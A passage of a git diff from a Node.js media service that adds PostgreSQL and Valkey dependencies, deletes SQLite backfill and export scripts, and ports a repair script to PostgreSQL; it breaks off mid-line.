"node_modules/pgpass": {++ "version": "1.0.5",++ "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz",++ "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==",++ "license": "MIT",++ "dependencies": {++ "split2": "^4.1.0"++ }++ },++ "node_modules/postgres-array": {++ "version": "2.0.0",++ "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz",++ "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==",++ "license": "MIT",++ "engines": {++ "node": ">=4"++ }++ },++ "node_modules/postgres-bytea": {++ "version": "1.0.1",++ "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz",++ "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==",++ "license": "MIT",++ "engines": {++ "node": ">=0.10.0"++ }++ },++ "node_modules/postgres-date": {++ "version": "1.0.7",++ "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz",++ "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==",++ "license": "MIT",++ "engines": {++ "node": ">=0.10.0"++ }++ },++ "node_modules/postgres-interval": {++ "version": "1.2.0",++ "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz",++ "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==",++ "license": "MIT",++ "dependencies": {++ "xtend": "^4.0.0"++ },++ "engines": {++ "node": ">=0.10.0"++ }++ },"node_modules/prebuild-install": {"version": "7.1.3","resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",@@@ -2099,6 +2338,27 @@"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==","license": "MIT"},++ "node_modules/redis-errors": {++ "version": "1.2.0",++ "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz",++ "integrity": "sha512-1qny3OExCf0UvUV/5wpYKf2YwPcOqXzkwKKSmKHiE6ZMQs5heeE/c8eXK+PNllPvmjgAbfnsbpkGZWy8cBpn9w==",++ "license": "MIT",++ "engines": {++ "node": ">=4"++ }++ },++ "node_modules/redis-parser": {++ "version": "3.0.0",++ "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz",++ "integrity": "sha512-DJnGAeenTdpMEH6uAJRK/uiyEIH9WVsUmoLwzudwGJUwZPp80PDBWPHXSAGNPwNvIXAbe7MSUB1zQFugFml66A==",++ "license": "MIT",++ "dependencies": {++ "redis-errors": "^1.0.0"++ },++ "engines": {++ "node": ">=4"++ }++ },"node_modules/require-from-string": {"version": "2.0.2","resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",@@@ -2362,6 +2622,21 @@"is-arrayish": "^0.3.1"}},++ "node_modules/split2": {++ "version": "4.2.0",++ "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz",++ "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==",++ "license": "ISC",++ "engines": {++ "node": ">= 10.x"++ }++ },++ "node_modules/standard-as-callback": {++ "version": "2.1.0",++ "resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz",++ "integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A==",++ "license": "MIT"++ },"node_modules/statuses": {"version": "2.0.2","resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz",@@@ -1,27 +1,33 @@{"name": "openvibe-media","version": "1.0.0",-- "description": "OpenVibe.Media — multi-tenant media service (VOD ingest/recording, storage tiering, clips, pastes, files, thumbnails)",++ "description": "OpenVibe.Media \u2014 multi-tenant media service (VOD ingest/recording, storage tiering, clips, pastes, files, thumbnails)","main": "server/index.js","scripts": {"start": "node server/index.js","init-db": "node server/db/init.js","smoke": "bash scripts/smoke-test.sh","test": "node test/run.js",-- "n-1:record": "node scripts/n-1-record.js"++ "n-1:record": "node scripts/n-1-record.js",++ "test:pg": "MEDIA_TEST_STORE=pg node test/run.js"},"license": "MIT","dependencies": {-- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.71.0",-- "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.12.0","@aws-sdk/client-s3": "^3.600.0","@aws-sdk/lib-storage": "^3.600.0","@aws-sdk/s3-request-presigner": "^3.600.0","better-sqlite3": "^11.0.0","dotenv": "^16.4.5","express": "^4.19.2",++ "iovalkey": "^0.4.0","multer": "^1.4.5-lts.1",-- "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.25.0",++ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.76.0",++ "openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.21.2",++ "openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v1.28.0",++ "pg": "^8.23.0","sharp": "^0.33.4"++ },++ "devDependencies": {++ "@electric-sql/pglite": "^0.5.8"}}ddeleted file mode 100755@@@ -1,34 +0,0 @@--#!/usr/bin/env node--'use strict';--/**-- * Project every existing vod, clip, file, screenshot/avatar paste and thumbnail onto the canonical-- * object model (media_objects + media_locations; docs/object-model.md). Idempotent — re-runs update-- * in place. Never moves or deletes bytes and never calls B2/R2 (remote copies stay 'pending' until-- * scripts/reconcile-objects.js --verify).-- *-- * node scripts/backfill-objects.js [--dry-run] [--only-missing] [--json] [--out report.json] [--db ./data/media.db]-- *-- * The service runs the --only-missing form itself shortly after boot. The run is one transaction-- * (a dry run rolls it back), so it holds SQLite's write lock for its duration — seconds, typically.-- */--const fs = require('fs');--const path = require('path');----const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));----const { backfill, summarize } = require('../server/objects/backfill');--const report = backfill({ dryRun: has('dry-run'), onlyMissing: has('only-missing') });--if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));--if (has('json')) console.log(JSON.stringify(report, null, 2));--else {-- console.log(summarize(report));-- const reasons = {};-- for (const s of report.skipped) reasons[s.reason] = (reasons[s.reason] || 0) + 1;-- for (const [r, n] of Object.entries(reasons)) console.log(` skipped ${n}: ${r}`);-- for (const e of report.errors.slice(0, 20)) console.log(` error ${e.table} ${e.id}: ${e.error}`);--}--require('../server/db/database').close();--process.exit(report.errors.length ? 1 : 0);ddeleted file mode 100644@@@ -1,212 +0,0 @@--#!/usr/bin/env node--'use strict';--/**-- * Give every media_object that names an app-local owner (owner_app + owner_user_id) its owner's-- * canonical Network subject (owner_subject, usr_<ULID>), resolved through Network's-- * POST /internal/identity/resolve-batch (docs/object-model.md#owner-subjects). Once this has run,-- * the service's reconcile job (server/objects/owner-subject-job.js) keeps new objects filled.-- *-- * node scripts/backfill-owner-subject.js [--db media.db] [--batch 500] [--json]-- * Dry run (the default): asks Network, changes nothing, and prints per tenant the objects-- * to fill, already set, unresolvable (Network does not know the owner), with no owner, and-- * those of tenants whose user ids it has no source system for.-- * node scripts/backfill-owner-subject.js --apply --backup <file.json> [--db media.db] [--batch 500]-- * First takes an online backup of the database to <file>.media.db and checks it with-- * PRAGMA integrity_check, then writes <file.json> (every row it is about to change, for-- * --rollback). Only then fills owner_subject, <batch> rows per transaction, never over a-- * non-null value and only while the row still has the owner it was resolved for.-- * Refuses to overwrite either backup file. Re-running fills only what is still missing.-- * node scripts/backfill-owner-subject.js --rollback <file.json> [--apply] [--db media.db]-- * Clears owner_subject again on the rows the file lists that still carry exactly the subject-- * the backfill wrote (rows changed since are left alone and counted). Without --apply it only-- * reports what it would restore, which also verifies an applied backfill.-- * Turn the service's reconcile job off first (MEDIA_OWNER_SUBJECT_SYNC=0 and a restart), or-- * its next run fills the rows again.-- *-- * Network: OV_NETWORK_INTERNAL_URL (default http://127.0.0.1:4000), with a service token-- * (OV_OAUTH_CLIENT_ID / OV_OAUTH_CLIENT_SECRET, capability identity.subject.resolve) or else-- * INTERNAL_API_KEY: the names /etc/openvibe/media.env already uses. The database is DB_PATH.-- *-- * The database is opened directly (read-only for a dry run), not through server/db/database.js,-- * whose boot work (migrations, marking in-progress clip cuts failed) must stay with the service.-- * Exit codes: 0 done, 1 error, 2 bad usage.-- */--const fs = require('fs');--const path = require('path');----const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };--const usage = (msg) => { console.error(`backfill-owner-subject: ${msg}`); process.exit(2); };----for (const flag of ['db', 'backup', 'rollback', 'batch']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));----const Database = require('better-sqlite3');--const config = require('../server/config');--const ownerSubject = require('../server/objects/owner-subject');----const APPLY = has('apply');--const JSON_OUT = has('json');--const BATCH = arg('batch') ? Number(arg('batch')) : ownerSubject.DEFAULT_BATCH;--if (!Number.isInteger(BATCH) || BATCH < 1 || BATCH > 5000) usage('--batch must be an integer 1-5000');--const DB_PATH = config.db.path;--const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;--const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;--if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');--if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');--if (!fs.existsSync(DB_PATH)) usage(`no database at ${DB_PATH} (set DB_PATH or pass --db)`);----const log = (...a) => { if (!JSON_OUT) console.log(...a); };----function open({ readonly }) {-- const sqlite = new Database(DB_PATH, { readonly, fileMustExist: true });-- sqlite.pragma('busy_timeout = 15000');-- return sqlite;--}----function writePrivate(file, text) {-- fs.mkdirSync(path.dirname(file), { recursive: true, mode: 0o700 });-- const tmp = `${file}.tmp-${process.pid}`;-- const fd = fs.openSync(tmp, 'wx', 0o600);-- try { fs.writeSync(fd, text); fs.fsyncSync(fd); } finally { fs.closeSync(fd); }-- fs.renameSync(tmp, file);--}----function dbCopyPath(file) {-- return file.replace(/\.json$/i, '') + '.media.db';--}----/** Online backup (better-sqlite3's page-by-page copy; the service keeps writing), then integrity_check. */--async function backupDatabase(sqlite, dest) {-- fs.mkdirSync(path.dirname(dest), { recursive: true, mode: 0o700 });-- await sqlite.backup(dest);-- fs.chmodSync(dest, 0o600);-- const copy = new Database(dest, { readonly: true, fileMustExist: true });-- try {-- const check = copy.pragma('integrity_check', { simple: true });-- const objects = copy.prepare('SELECT count(*) AS n FROM media_objects').get().n;-- return { path: dest, bytes: fs.statSync(dest).size, integrity_check: check, objects };-- } finally { copy.close(); }--}----function printSummary(before, plan) {-- const apps = [...new Set([...Object.keys(before), ...Object.keys(plan.perApp)])].sort();-- log(`Database: ${DB_PATH}`);-- log(`Network: ${config.network.internalUrl} (asked via ${plan.via || 'nothing: no owner to resolve'})`);-- log('');-- log('app objects already set to fill unresolvable unsupported app no owner');-- for (const app of apps) {-- const b = before[app] || { objects: 0, already_set: 0, no_owner: 0 };-- const p = plan.perApp[app] || { to_fill: 0, unresolvable: 0, unsupported: 0 };-- log(`${app.padEnd(40)} ${String(b.objects).padStart(7)} ${String(b.already_set).padStart(11)} ${String(p.to_fill).padStart(7)} ${String(p.unresolvable).padStart(12)} ${String(p.unsupported).padStart(15)} ${String(b.no_owner).padStart(8)}`);-- }-- const t = plan.totals;-- log(`${'total'.padEnd(40)} ${String(t.objects).padStart(7)} ${String(t.already_set).padStart(11)} ${String(t.to_fill).padStart(7)} ${String(t.unresolvable).padStart(12)} ${String(t.unsupported).padStart(15)} ${String(t.no_owner).padStart(8)}`);-- if (plan.unresolvableOwners.length) {-- log('');-- log(`Unresolvable owners (Network has no subject for them; their objects stay NULL): ${plan.unresolvableOwners.map(o => `${o.owner_app}:${o.owner_user_id} (${o.objects})`).join(', ')}`);-- }-- if (plan.unsupportedOwners.length) {-- log(`Owners in tenants with no known source system (left alone): ${plan.unsupportedOwners.map(o => `${o.owner_app}:${o.owner_user_id} (${o.objects})`).join(', ')}`);-- }--}----async function makePlan(sqlite) {-- const before = ownerSubject.summary(sqlite);-- const owners = ownerSubject.pendingOwners(sqlite);-- const resolver = ownerSubject.createResolver();-- const r = owners.length ? await ownerSubject.resolveOwners(owners, { resolver }) : { subjects: new Map(), unresolvable: [], unsupported: [] };-- const changes = ownerSubject.planChanges(sqlite, r.subjects, { batch: BATCH });-- const perApp = {};-- const bump = (app, k, n) => { perApp[app] = perApp[app] || { to_fill: 0, unresolvable: 0, unsupported: 0 }; perApp[app][k] += n; };-- for (const c of changes) bump(c.app_id, 'to_fill', 1);-- // Per tenant of the object (owner_app is the same as app_id for every object Media makes today).-- const countBy = (list) => {-- const m = new Map();-- for (const o of list) {-- for (const row of sqlite.prepare(`SELECT app_id, count(*) AS n FROM media_objects WHERE owner_subject IS NULL-- AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ? GROUP BY app_id`).all(o.owner_app, o.owner_user_id)) {-- m.set(row.app_id, (m.get(row.app_id) || 0) + row.n);-- }-- }-- return m;-- };-- for (const [app, n] of countBy(r.unresolvable)) bump(app, 'unresolvable', n);-- for (const [app, n] of countBy(r.unsupported)) bump(app, 'unsupported', n);-- const totals = { objects: 0, already_set: 0, no_owner: 0, to_fill: changes.length, unresolvable: 0, unsupported: 0 };-- for (const b of Object.values(before)) { totals.objects += b.objects; totals.already_set += b.already_set; totals.no_owner += b.no_owner; }-- for (const p of Object.values(perApp)) { totals.unresolvable += p.unresolvable; totals.unsupported += p.unsupported; }-- return { before, perApp, totals, changes, unresolvableOwners: r.unresolvable, unsupportedOwners: r.unsupported, via: resolver.state.via, network_calls: resolver.state.calls, token_error: resolver.state.token_error };--}----async function backfill() {-- const sqlite = open({ readonly: !APPLY });-- try {-- const plan = await makePlan(sqlite);-- printSummary(plan.before, plan);-- if (plan.token_error && plan.via === 'internal-key') log(`(no service token: ${plan.token_error}; used INTERNAL_API_KEY)`);-- const report = { mode: APPLY ? 'apply' : 'dry-run', db: DB_PATH, network: config.network.internalUrl, via: plan.via, before: plan.before, per_app: plan.perApp, totals: plan.totals,-- unresolvable_owners: plan.unresolvableOwners, unsupported_owners: plan.unsupportedOwners };-- if (!APPLY) {-- log('');-- log('Dry run: nothing was changed. Re-run with --apply --backup <file.json> to fill.');-- if (JSON_OUT) console.log(JSON.stringify(report, null, 2));-- return 0;-- }-- if (!plan.changes.length) {-- log('');-- log('Nothing to fill; no backup taken, nothing changed.');-- if (JSON_OUT) console.log(JSON.stringify({ ...report, applied: 0 }, null, 2));-- return 0;-- }---- const copyPath = dbCopyPath(BACKUP);-- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);-- log('');-- log(`Backing up ${DB_PATH} -> ${copyPath} ...`);-- const copy = await backupDatabase(sqlite, copyPath);-- if (copy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${copy.integrity_check}; nothing changed`); return 1; }-- log(` ${copy.bytes} bytes, integrity_check ok, ${copy.objects} objects`);-- const manifest = {-- kind: 'media.owner_subject.backfill', version: 1, created_at: new Date().toISOString(), db: DB_PATH, db_backup: copy.path,-- status: 'planned', rows: plan.changes.map(c => ({ id: c.id, app_id: c.app_id, owner_app: c.owner_app, owner_user_id: c.owner_user_id, owner_subject: c.owner_subject })),-- };-- writePrivate(BACKUP, JSON.stringify(manifest, null, 1));-- log(`Rollback file: ${BACKUP} (${manifest.rows.length} rows)`);---- const done = ownerSubject.applyChanges(sqlite, plan.changes, {-- batch: BATCH,-- onBatch: (b) => log(` batch ${b.batch}: ${b.rows} rows (filled ${b.applied} so far, ${b.skipped} changed underneath)`),-- });-- // The file now lists exactly the rows this run changed.-- writePrivate(BACKUP, JSON.stringify({ ...manifest, status: 'applied', applied_at: new Date().toISOString(), batches: done.batches,-- skipped: done.skipped.map(c => c.id), rows: done.applied }, null, 1));-- const after = ownerSubject.summary(sqlite);-- log('');-- log(`Filled owner_subject on ${done.applied.length} object(s) in ${done.batches} batch(es); ${done.skipped.length} skipped (changed while running).`);-- log(`Now: ${Object.entries(after).map(([app, s]) => `${app} ${s.already_set}/${s.objects} set, ${s.missing} missing`).join('; ')}`);-- if (JSON_OUT) console.log(JSON.stringify({ ...report, applied: done.applied.length, skipped: done.skipped.length, batches: done.batches, after, rollback_file: BACKUP, db_backup: copy }, null, 2));-- return 0;-- } finally { sqlite.close(); }--}----function rollback() {-- let manifest;-- try { manifest = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8')); } catch (err) { usage(`cannot read ${ROLLBACK}: ${err.message}`); }-- if (!manifest || manifest.kind !== 'media.owner_subject.backfill' || !Array.isArray(manifest.rows)) usage(`${ROLLBACK} is not an owner_subject backfill file`);-- const sqlite = open({ readonly: !APPLY });-- try {-- const r = ownerSubject.rollbackChanges(sqlite, manifest.rows, { apply: APPLY, batch: BATCH });-- log(`Database: ${DB_PATH}`);-- log(`Rollback file: ${ROLLBACK} (${manifest.status}, ${manifest.rows.length} rows, written ${manifest.applied_at || manifest.created_at})`);-- log(`${APPLY ? 'Restored' : 'Would restore'} ${r.restored} (owner_subject back to NULL); ${r.changed_since} changed since (left alone); ${r.missing} no longer exist.`);-- if (!APPLY) log('Nothing was changed. Re-run with --apply to restore.');-- if (JSON_OUT) console.log(JSON.stringify({ mode: APPLY ? 'rollback' : 'rollback-dry-run', restored: r.restored, changed_since: r.changed_since, missing: r.missing, changed_since_ids: r.rows.changed_since, missing_ids: r.rows.missing }, null, 2));-- return 0;-- } finally { sqlite.close(); }--}----(ROLLBACK ? Promise.resolve().then(rollback) : backfill())-- .then((code) => process.exit(code))-- .catch((err) => { console.error(`backfill-owner-subject: ${err.message}`); process.exit(1); });ddeleted file mode 100644@@@ -1,42 +0,0 @@--#!/usr/bin/env node--'use strict';--/**-- * Export which media object (med_…) stands behind each legacy reference, for services that still store-- * `legacy:<app>:<kind>:<id>` refs and move to object ids (C-24: OpenVibe.Community's screenshot pastes,-- * scripts/migrate-screenshot-refs.js there).-- *-- * node scripts/export-legacy-refs.js --prefix legacy:live:paste: --out /tmp/refs.json [--db ./data/media.db]-- * node scripts/export-legacy-refs.js --from-pastes live --out /tmp/paste-refs.json-- *-- * --from-pastes <app> answers for every paste row of the app that names its object (pastes.object_id), keyed-- * `legacy:<app>:paste:<slug>`: the paste's own record of its bytes, also when the object was filed under-- * another legacy name (a screenshot that was also an avatar is `legacy:<app>:avatar:<slug>`).-- *-- * Read-only (opens the database readonly). Output: { generated_at, prefix, count, objects: [{ legacy_ref, id,-- * kind, lifecycle_status }] } ordered by legacy_ref. Deleted objects are included with their status, so the-- * consumer can tell "gone" from "never existed".-- */--const fs = require('fs');--const path = require('path');--const Database = require('better-sqlite3');----const args = process.argv.slice(2);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--const prefix = arg('prefix');--const fromPastes = arg('from-pastes');--const out = arg('out');--const dbPath = path.resolve(arg('db', process.env.DB_PATH || './data/media.db'));--if (!out || (!fromPastes && !/^legacy:[a-z0-9_-]+:/.test(String(prefix || ''))) || (fromPastes && !/^[a-z0-9_-]+$/.test(fromPastes))) {-- console.error('usage: export-legacy-refs.js (--prefix legacy:<app>:<kind>: | --from-pastes <app>) --out <file> [--db path]');-- process.exit(2);--}----const db = new Database(dbPath, { readonly: true, fileMustExist: true });--const objects = fromPastes-- ? db.prepare(`SELECT 'legacy:' || p.app_id || ':paste:' || p.slug AS legacy_ref, o.id, o.kind, o.lifecycle_status-- FROM pastes p JOIN media_objects o ON o.id = p.object_id WHERE p.app_id = ? ORDER BY p.slug`).all(fromPastes)-- : db.prepare(`SELECT legacy_ref, id, kind, lifecycle_status FROM media_objects-- WHERE legacy_ref >= ? AND legacy_ref < ? ORDER BY legacy_ref`).all(prefix, `${prefix}`);--const label = fromPastes ? `${fromPastes} paste rows` : prefix;--fs.writeFileSync(out, JSON.stringify({ generated_at: new Date().toISOString(), prefix: prefix || null, from_pastes: fromPastes || null, count: objects.length, objects }, null, 1));--console.log(`[export-legacy-refs] ${objects.length} object(s) from ${label} -> ${out}`);ddeleted file mode 100755@@@ -1,61 +0,0 @@--#!/usr/bin/env node--'use strict';--/**-- * Export an app's pastes, comments and likes as a canonical bundle for OpenVibe.Community's importer-- * (roadmap Wave 5: Community becomes the paste authority; Media keeps only the screenshot bytes).-- *-- * node scripts/export-pastes.js --app live --out /tmp/pastes.json [--since-id N] [--db ./data/media.db]-- *-- * Read-only (opens the database readonly). Deterministic for the same data: rows ordered by id, keys-- * in a fixed order, sha256 over { pastes, comments, likes }. IP addresses are never exported.-- * --since-id exports pastes with id > N plus every comment/like on any paste (they are small and the-- * importer upserts them), so an incremental run after cutover catches late writes.-- */--const fs = require('fs');--const path = require('path');--const crypto = require('crypto');--const Database = require('better-sqlite3');----const args = process.argv.slice(2);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--const app = arg('app', 'live');--const out = arg('out');--const sinceId = Number(arg('since-id', 0)) || 0;--const dbPath = path.resolve(arg('db', process.env.DB_PATH || './data/media.db'));--const publicBase = String(process.env.MEDIA_PUBLIC_URL || 'https://openvibe.media').replace(/\/$/, '');--if (!out) { console.error('usage: export-pastes.js --app <id> --out <file> [--since-id N] [--db path]'); process.exit(2); }----const db = new Database(dbPath, { readonly: true, fileMustExist: true });--const json = (s) => { if (s == null || s === '') return null; try { return JSON.parse(s); } catch { return null; } };--const tags = (s) => { const v = json(s); return Array.isArray(v) ? v : (typeof s === 'string' && s ? s.split(',').map(x => x.trim()).filter(Boolean) : null); };----const pastes = db.prepare(`SELECT * FROM pastes WHERE app_id = ? AND id > ? ORDER BY id`).all(app, sinceId).map(p => ({-- id: p.id, slug: p.slug, user_id: p.user_id, type: p.type, title: p.title, content: p.content, language: p.language,-- visibility: p.visibility, stream_id: p.stream_id,-- screenshot_url: p.screenshot_path ? `${publicBase}/p/${p.slug}/screenshot` : null,-- metadata: json(p.metadata), burn_after_read: p.burn_after_read, forked_from: p.forked_from, pinned: p.pinned,-- views: p.views, unique_views: p.unique_views || 0, copies: p.copies, likes: p.likes, is_nsfw: p.is_nsfw,-- ai_summary: p.ai_summary, ai_tags: tags(p.ai_tags), ai_analyzed_at: p.ai_analyzed_at,-- created_at: p.created_at, updated_at: p.updated_at,--}));--const comments = db.prepare(`SELECT c.* FROM paste_comments c JOIN pastes p ON p.id = c.paste_id WHERE p.app_id = ? ORDER BY c.id`).all(app).map(c => ({-- id: c.id, paste_id: c.paste_id, user_id: c.user_id, parent_id: c.parent_id, anon_name: c.anon_name,-- message: c.message, is_deleted: c.is_deleted, created_at: c.created_at, updated_at: c.updated_at,--}));--const likes = db.prepare(`SELECT l.* FROM paste_likes l JOIN pastes p ON p.id = l.paste_id WHERE p.app_id = ? ORDER BY l.paste_id, l.user_id`).all(app).map(l => ({-- paste_id: l.paste_id, user_id: l.user_id, created_at: l.created_at,--}));--db.close();----const body = { pastes, comments, likes };--const bundle = {-- format: 'openvibe.media.pastes-export', version: 1, app,-- generated_at: new Date().toISOString(), since_id: sinceId,-- max_id: pastes.length ? pastes[pastes.length - 1].id : sinceId,-- sha256: crypto.createHash('sha256').update(JSON.stringify(body)).digest('hex'),-- counts: { pastes: pastes.length, comments: comments.length, likes: likes.length },-- ...body,--};--fs.writeFileSync(out, JSON.stringify(bundle));--fs.chmodSync(out, 0o600); // paste content can be private/unlisted--console.log(JSON.stringify({ out, app, since_id: sinceId, max_id: bundle.max_id, counts: bundle.counts, sha256: bundle.sha256 }));@@@ -13,8 +13,7 @@* A copy whose bytes hash to the object's own content_hash plans resize: only the recorded size was* wrong (a projection from the legacy vods row put a stale size back after a rebaseline).* node scripts/h15-repair.js --apply --backup <file.json>-- * First an online backup of the database to <file>.media.db (checked with integrity_check), then-- * the plan: re-records size and sha256 from a good remote copy (and the size on the legacy vods++ * Carries out the plan (the database's own safety net is PostgreSQL's point-in-time recovery): re-records size and sha256 from a good remote copy (and the size on the legacy vods* row, so its projection agrees), marks a failed recording* lifecycle_status 'failed' (not playable, hidden from public players), writes a regenerated* frame back to its location. <file.json> lists every change with its old values (the rollback@@@ -22,7 +21,7 @@* node scripts/h15-repair.js --rollback <file.json> [--apply]* Restores the old values of the changes the file lists, where the row still holds what the* repair wrote (a regenerated file stays: it is the same frame). Without --apply it only reports.-- * (every command takes --db <media.db>; the database is DB_PATH otherwise)++ * (the database is the service's: DATABASE_URL, from its env file)** B2/R2 credentials come from the environment (the service's /etc/openvibe/media.env names). Run it as* the service user so written files belong to it. Exit codes: 0 done, 1 error, 2 bad usage.@@@ -33,141 +32,137 @@ const path = require('path');const crypto = require('crypto');const { execFile } = require('child_process');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };--const usage = (msg) => { console.error(`h15-repair: ${msg}`); process.exit(2); };--for (const flag of ['db', 'backup', 'rollback', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));--const APPLY = has('apply');--const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;--const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;--if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');--if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };++ const usage = (msg) => { console.error(`h15-repair: ${msg}`); process.exit(2); };++ for (const flag of ['db', 'backup', 'rollback', 'out']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);++ const APPLY = has('apply');++ const BACKUP = arg('backup') ? path.resolve(arg('backup')) : null;++ const ROLLBACK = arg('rollback') ? path.resolve(arg('rollback')) : null;++ if (ROLLBACK && BACKUP) usage('--rollback and --backup do not go together');++ if (APPLY && !ROLLBACK && !BACKUP) usage('--apply needs --backup <file.json> (the rollback file; the database copy goes next to it)');--const config = require('../server/config');--const db = require('../server/db/database');--const copyReport = require('../server/objects/copy-report');--const h15 = require('../server/objects/h15-repair');--const vs = require('../server/vod/vod-storage');++ const config = require('../server/config');++ const db = require('../server/db/database');++ const copyReport = require('../server/objects/copy-report');++ const h15 = require('../server/objects/h15-repair');++ const vs = require('../server/vod/vod-storage');--const run = (cmd, argv, timeoutMs) => new Promise((resolve) => {-- execFile(cmd, argv, { timeout: timeoutMs, maxBuffer: 64 * 1024 * 1024 }, (err, stdout, stderr) => resolve({ err, stdout: String(stdout || ''), stderr: String(stderr || '') }));--});++ const run = (cmd, argv, timeoutMs) => new Promise((resolve) => {++ execFile(cmd, argv, { timeout: timeoutMs, maxBuffer: 64 * 1024 * 1024 }, (err, stdout, stderr) => resolve({ err, stdout: String(stdout || ''), stderr: String(stderr || '') }));++ });--/** Download a presigned URL to a file, hashing as it goes. → { size, sha256 } */--async function download(url, file) {-- const res = await fetch(url, { signal: AbortSignal.timeout(30 * 60 * 1000) });-- if (!res.ok || !res.body) throw new Error(`download answered ${res.status}`);-- const hash = crypto.createHash('sha256');-- const out = fs.createWriteStream(file);-- let size = 0;-- for await (const chunk of res.body) { hash.update(chunk); size += chunk.length; if (!out.write(chunk)) await new Promise((r) => out.once('drain', r)); }-- await new Promise((r, j) => out.end((e) => (e ? j(e) : r())));-- return { size, sha256: hash.digest('hex') };--}++ /** Download a presigned URL to a file, hashing as it goes. → { size, sha256 } */++ async function download(url, file) {++ const res = await fetch(url, { signal: AbortSignal.timeout(30 * 60 * 1000) });++ if (!res.ok || !res.body) throw new Error(`download answered ${res.status}`);++ const hash = crypto.createHash('sha256');++ const out = fs.createWriteStream(file);++ let size = 0;++ for await (const chunk of res.body) { hash.update(chunk); size += chunk.length; if (!out.write(chunk)) await new 